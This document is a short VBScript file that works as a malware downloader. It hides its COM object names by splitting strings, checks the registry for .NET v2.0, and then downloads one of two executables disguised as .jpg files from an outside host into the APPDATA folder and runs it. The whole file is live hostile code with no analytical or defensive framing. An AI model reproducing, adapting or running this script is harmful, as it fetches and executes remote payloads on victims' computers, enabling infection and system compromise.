Dim OS
Dim V
On Error Resume Next
Set OS = CreateObject("WScript" & ".Shell")
V = OS.RegRead("HKLM\SOFTWARE\Microsoft\.NETFramework\Policy\v2.0\50727")
set F = CreateObject("Mic"&"rosoft"&".XML"&"HTTP")
set S = CreateObject("ADOD"&"B.St"&"ream")
set R = CreateObject("WScr"&"ipt.S"&"hell")
P = CreateObject("WScr"&"ipt.Sh"&"ell").ExpandEnvironmentStrings("%APPDATA%"& "\")
Un2 = "http://www7.0zz0.com/2017/05/11/19/195355886.jpg"
Un4 = "http://www7.0zz0.com/2017/05/11/19/991996967.jpg"
N2 = "N2.exe"
N4 = "N4.exe"
If Err.Number = 0 Then
F.open "G"&"E"&"T", Un2, False
F.send
S.type = 1
S.open
S.write F.responseBody
S.savetofile P & N2, 2
R.Run  "" & P & N2 & ""
Else
F.open "GET", Un4, False
F.send
S.type = 1
S.open
S.write F.responseBody
S.savetofile P & N4, 2
R.Run  "" & P & N4 & ""
End If